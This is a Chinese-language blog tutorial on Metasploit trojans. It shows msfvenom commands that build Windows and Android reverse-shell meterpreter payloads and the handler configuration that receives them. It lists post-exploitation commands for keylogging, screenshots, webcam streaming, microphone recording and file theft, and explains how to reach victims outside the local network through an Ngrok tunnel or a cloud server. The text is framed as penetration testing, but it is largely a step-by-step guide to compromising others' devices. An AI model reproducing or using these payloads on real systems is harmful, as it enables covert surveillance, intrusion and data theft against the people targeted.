msf-木马渗透测试

引言

msf(metasploit framework)是渗透测试的神器,其中很多好玩的功能,今天我来写一个msf基于木马的渗透 测试。

众所周知,渗透测试分为内网渗透和外网渗透

内网渗透

0x01环境部署

如果你有kali的话,直接在kali里面运行,kali系统集成了msf

如果没有的话用unbuntu或者centos来搭建也可以。

0x01.1安装干净的系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1)安装软件
#Debian/Ubuntu系统:
apt-get update
apt-get install -y xz-utils openssl gawk file

#RedHat/CentOS系统:
yum update
yum install -y xz openssl gawk file

2)安装重装脚本
#萌咖脚本下载地址:
wget --no-check-certificate -qO InstallNET.sh 'https://moeclub.org/attachment/LinuxShell/InstallNET.sh' && chmod a+x InstallNET.sh

3)安装重装系统
#在下面选择将要按的的系统,运行对应命令即可,一般20-30分钟就会安装完成。装默认root密码:Vicer。

#安装CentOS 6.9 x64:
bash InstallNET.sh -c 6.9 -v 64 -a
#安装Ubuntu 16.04 x64:
bash InstallNET.sh -u xenial -v 64 -a

这一步可有可无,其实用安装了其他东西的也可以安装msf,但是有一定可能会报错。

0x01.2安装msf

1
2
3
4
5
6
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
可能报错:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因为安装库的问题!
解决方法:
yum install -y epel-release
然后再重复上面那条命令!

0x02生成木马

0x02.1基于windos

在shelll执行这个命令,会在当前目录下生成一个名为muma.exe的windows系统exe木马程序,lhost绑定攻击者的ip地址,lport绑定攻击者接收会话的端口号。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(你的虚拟机的ip) LPORT=(随便一个端口号) -f exe -o muma.exe

image-20220506215102665

0x02.2基于Android

在shelll执行这个命令,会在当前目录下生成一个名为muma.apk的Android系统apk木马程序,lhost绑定攻击者的ip地址,lport绑定攻击者接收会话的端口号。

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=(你的虚拟机的ip)  LPORT=(随便一个端口号) R>muma.apk

image-20220506215116663

由于安卓的手机没有最高权限,所以即使控制了手机也没有办法获得一些高级权限。

0x03利用msf攻击

将生成的文件传给目标电脑或者手机

然后在电脑终端输入msfconsole打开msf。

image-20220506215247837

输入use exploit/multi/handler 使用监听模块
输入set payload windows/meterpreter/reverse_tcp 设置tcp监听攻击载荷(windows)

或者输入set payload android/meterpreter/reverse_tcp设置tcp监听攻击载荷(安卓)

输入set lhost (你上面设置的攻击者ip) 设置攻击者ip,与木马绑定的一致
输入set lport (上面输入的端口) 设置攻击者监听端口,与木马绑定的一致
最后show options 看一下设置有没成功
执行run,开始监听端口

然后双击那个木马程序,于是我们就获得了电脑的控制权。

image-20220506220148975

输入help可以查询常用的命令,这里只演示几个简单的。

image-20220506220228300

几个简单的命令,由于我是在虚拟机上运行的widows10,虚拟机上面没有摄像头,所以没有成功。

image-20220506220530996

下面是我虚拟机电脑的截屏。kMAyjkBd

下面是常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
getuid 		查看当前权限
getsystem 尝试获取system权限
shell 获取当前权限shell会话
ps 列出正在运行的进程
pkill 按名称终止进程
kill 按PID终止进程
reboot 重启
shutdown 关机
upload 上传文件(格式参考:upload /root/1.txt -> d:/)
download 下载文件(格式参考:download c:/1.txt -> /root/)

keyboard_send 令对方键盘输入(参考格式:keyboard_send ilovecc)
#请按以下顺序执行
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
#操作完都会有文件保存在服务器,一般是存在/root目录下,msf会提示具体位置和名称,提到本机就可打开看
record_mic 麦克风录制(格式参考:record_mic -d 13)
screenshot 截图截取对方目前桌面的截图
webcam_snap 摄像头拍摄一张照片
webcam_stream 持续监控摄像头

安卓和windows差不多,这里就不在赘述了。

外网渗透

对于外网渗透,我们有两种办法,一种是基于kali或者其他linux虚拟机的内网渗透来进行外网渗透(更加方便快捷,很多功能都能实现,但是由于内网穿透的网速问题,提权可能更加慢),一种是用云服务器的外网渗透(提权更快,处理数据更加快捷,但是由于没有图形化界面,实时监控不太能做到)

0x01内网穿透

0x01.1内网穿透工具

我用的是Sunny-Ngrok内网穿透服务

这个工具是我从学习的时候用的,还是好用,但是居然要实名认证什么的,其实实名也没啥,但是为啥还要收两块钱的认证费用,∑( 口 ||,太无语了,其他的还行

然后教程继续

  1. 先去注册一个账号,然后完成实名认证(这点就不需要教了)

  2. 然后去隧道管理,买一个免费的就可以了

    image-20220506221832663

  3. 然后添加一些基本信息

    image-20220506222047909

  4. 然后就注册成功了

    image-20220506222226645

    image-20220506222304546

  5. 将下载的文件在虚拟机里面解压,然后进入文件夹运行文件

    image-20220506222514646

    image-20220506222536851

  6. 内网穿透就做好了。

0x01.2渗透测试

其实剩下来的步骤和内网渗透都差不多了,只是需要将生成木马的代码改为

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(给你分配的域名) LPORT=(给你分配的端口) -f exe -o muma.exe

image-20220506222939208

剩下的按照内网渗透做就可以了。

0x02云服务器

云服务器的话也是需要搭建msf的,和环境部署的方法一样,忘了的翻上去看。

这里和内网渗透不一样的也就是在生成木马和操作位置了。

0x02.1生成木马

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(你的公网IP) LPORT=(服务器开放的一个端口) -f exe -o muma.exe

这里需要用ssh连接工具连接上云服务器,执行该命令成功创建windows木马程序。

image-20220506223710313

然后用ftp软件去将文件下载下来

image-20220506223816096

然后后面不同的就是链接时设置的端口了

输入use exploit/multi/handler 使用监听模块
输入set payload windows/meterpreter/reverse_tcp 设置tcp监听攻击载荷
输入set lhost 0.0.0.0 设置攻击者ip,这里直接0.0.0.0就行
输入set lport (前面你设置的开放端口) 设置攻击者监听ip,与木马绑定的一致
最后show options 看一下设置有没成功
执行run,开始监听端口.

然后后面就一样了

image-20220506224210450

结束。

Tips:

在复现的时候发现,找不到msfconsole这个选项,可能是没有放到环境变量里面去,找了一些资料才找到了msf文件在哪。

adduser msf #添加msf用户

su msf #切换到msf用户

cd /opt/metasploit-framework/bin #切换到msf所在的目录

./msfconsole

help